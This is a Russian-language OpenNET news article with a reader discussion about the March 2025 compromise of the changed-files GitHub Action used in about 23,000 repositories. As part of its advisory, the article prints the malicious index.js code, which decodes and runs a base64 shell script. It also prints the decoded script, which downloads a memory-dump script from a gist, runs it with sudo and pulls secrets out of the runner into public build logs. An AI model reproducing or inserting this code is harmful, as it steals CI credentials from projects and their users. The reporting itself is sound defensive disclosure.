The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Компрометация GitHub Actions-обработчика changed-files, применяемого в 23 тысячах репозиториях

15.03.2025 14:25

Выявлена подстановка вредоносного изменения в репозиторий проекта changed-files, развивающего обработчик к системе GitHub Actions, позволяющей автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push-запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull-запросов. Обработчик changed-files использовался в 23 тысячах репозиториях, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.

В репозиторий changed-files было подставлено изменение 0e58ed8, добавляющее в файл index.js вредоносный код под предлогом переработки работы с файлами блокировок. При выполнении обработчика changed-files вредоносная вставка собирала присутствующие в сборочном окружении ключи доступа и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.

Всем разработчикам, пользовавшимся changed-files, требуется незамедлительно провести аудит своей инфраструктуры и проверить публичные логи систем интеграции на базе GitHub Actions на предмет утечки конфиденциальных данных. В случае использования скомпрометированной версии рекомендуется поменять ключи и провести анализ возможной компрометации своих систем. В настоящее время GitHub уже заблокировал репозиторий changed-files, но до этого около 14 часов вредоносные обновления были доступны для загрузки. Понять наличие вредоносного изменения можно по упоминанию "bash" в файле index.js:


   async function updateFeatures(token) {
   
       const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1...ApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
           ignoreReturnCode: true,
           silent: true
       });
       core.info(stdout);
   }

В base64-последовательности содержался код:

   if [[ "$OSTYPE" == "linux-gnu" ]]; then
     B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo  python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
     echo $B64_BLOB
   else
     exit 0
   fi

Коммит был размещён от имени бота "renovate[bot]", предназначенного для автоматизации операций по обновлению зависимостей, но скорее всего имя данного бота использовано для запутывания следов, так как коммит был помечен как неверифицированный и не принадлежащий ни к одной ветке в репозитории changed-files. Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк (при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми).

Примечательно, что атакующий добился добавления вредоносного коммита почти во все git-тэги и релизы проекта changed-files, без отображения в git-логе коммитов в соответствующих ветках. В качестве предположений как он мог этого добиться упоминалось создание форка репозитория, размещения в нём вредоносного кода и обновления всех тегов в родительском репозитории с учётом нового SHA-хэша форка. По предположению другого разработчика атакующий добавил коммит в ветку main, перенаправил все теги на данную ветку, после чего откатил ветку main на предыдущий коммит.

  1. Главная ссылка к новости (https://news.ycombinator.com/i...)
  2. OpenNews: Ошибка в обработчике GitHub Actions привела к публикации вредоносных релизов Ultralytics
  3. OpenNews: GitHub обновил GPG-ключи из-за уязвимости, приводящей к утечке переменных окружения
  4. OpenNews: Уязвимость в GitHub Actions, допускающая подстановку команд
  5. OpenNews: В ходе атаки на GitHub захвачены ключи для подписи приложений GitHub Desktop и Atom
  6. OpenNews: Атака на GitHub Actions для майнинга криптовалюты на серверах GitHub
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/62892-github
Ключевые слова: github, action
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (21) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, нейм (?), 15:44, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    > nikitastupin

    наш слон базовичок дискредитирует американский гитхаб?

     
     
  • 2.8, Аноним (8), 16:19, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Прошу прощения, уточните пожалуйста,  а “ваш” это чей будет? Мексика, Канада, Дания… Еврозоюз? Какая-то из стран восточной Европы, граждани которой имею претензии к 🇺🇸 ?
     
     
  • 3.10, Анонем (?), 16:37, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > Всем привет! Я Никита Ступин, специалист по информационной безопасности Почты Mail.Ru. Не так давно я провел исследование уязвимостей мобильного OAuth 2.0. Для создания безопасной схемы мобильного OAuth 2.0 мало реализовать стандарт в чистом виде и проверять redirect_uri. Необходимо учитывать специфику мобильных приложений и применять дополнительные механизмы защиты.

    Мексика, да

     
  • 3.19, Аноним (19), 19:08, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Китаец Ni Kita Stu Pin.
     
     
  • 4.24, Похожий (?), 19:50, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    На филиппинский похоже. Сравните, всемирно известный хит: Bakit Nga Ba Mahal Kita
     

  • 1.2, нах. (?), 15:56, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Молодец, Никитос, надеюсь, товарищмаёр довольны и уже представили себя к госнаградам.

    P.S. отдельно доставляет что "знающие гит" девляпсы без понятия как ты этого добился - так что можем повторить!

     
     
  • 2.4, Аноним (8), 16:12, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    А в гитхаб профиле у него звание, адрес места “службы” , герб и прапор страны?

    > Штирлиц брёл по улицам тихого немецкого городка. "Ничто не выдавало в нём советского разведчика — разве что волочившийся сзади парашют да ушанка с красной звездой могли привлечь к нему внимание случайного прохожего"

     
  • 2.15, bonifatium (?), 17:17, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Никитос - просто автор дампилки памяти, которой воспользовался злоумышленник
     
  • 2.16, Аноним (16), 17:26, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А Никитоса к Статье 272
     
     
  • 3.23, Аноним (23), 19:44, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Никтос-то тут причём? Я о нём слышал как минимум с 2018 года, легитимный ресёрчер. Вернее не совсем: на Huawei он работал. Ну раз ему так КНР мила - вот пусть туда на ПМЖ и едет. И о соц. "кредитном рейтинге" пусть обеспокоиться не забудет.
     
     
  • 4.27, Аноним (27), 20:52, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Вы видели Китайский Дэвушка? Прекрасен что фарфоровая кукла!
    i.postimg.cc/rqfNMc6h/1sppnfy.jpg
    i.postimg.cc/wqLNyYPY/1uy22sc.jpg
     

  • 1.3, Tron is Whistling (?), 15:58, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Лол, опять пострадали только те, кто тянул в рот всё самое неизвестное.
     
  • 1.5, freehck (ok), 16:13, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    > Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк (при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми).

    O_O

    Ничего себе! То есть человек может сделать форк моего проекта, закоммитить туда объект, а затем скачивать его "типа из моего проекта"?

    > Примечательно, что атакующий добился добавления вредоносного коммита почти во все git-тэги и релизы проекта changed-files, без отображения в git-логе коммитов в соответствующих ветках.

    Снимаю шляпу. Талантливый парень.

     
     
  • 2.25, Мимоним (?), 19:53, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > GitHub в целях оптимизации и исключения дубликатов хранит вместе все объекты из основного репозитория и форков, лишь логически разделяя принадлежность коммитов.

    отсюда https://www.opennet.ru/opennews/art.shtml?num=61605

     

  • 1.7, Аноним (7), 16:15, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    > Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий

    То-есть мерзкософт с своими типа-ништяками - довел инфраструктуру до состояния когда даже не знает откуда им прилетело? И эти люди лезут учить других на тему supply chain с своими 2FA?

     
  • 1.9, Аноним (8), 16:26, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Ничего себе! То есть человек может сделать форк моего проекта, закоммитить туда объект, а затем скачивать его "типа из моего проекта"?

    да, это называется Open Sources, т.е. программное обеспечение с открытым исходным кодом, а гитхаб продемонстрировал беспрецедентную открытость!

     
  • 1.12, 12yoexpert (ok), 16:50, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    какому идиоту в принципе пришло в голову использовать js на сервере? электричество бесплатное?
     
     
  • 2.17, Аноним (16), 17:33, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Когда создавался GitHub (тот ещё первозданный, настоящий) ещё не модно было.
     

  • 1.21, Аноним (23), 19:21, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Пофиг, third party (не от самого гитхаба и не от себя, любимого) Github Actions обычно по тегам гвоздями прибивают (это если не делать  свой форк). Как раз от такого.
     
     
  • 2.26, Аноним (26), 20:17, 15/03/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Тэги перебиваются на раз-два, git push —tags —force
     

  • 1.22, Аноним (23), 19:41, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >\{"value":"[^"]*","isSecret":true\}'

    Молодцы, GitHub, все секреты промаркировали в JSON, чтобы их удобнее извлекать было.

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру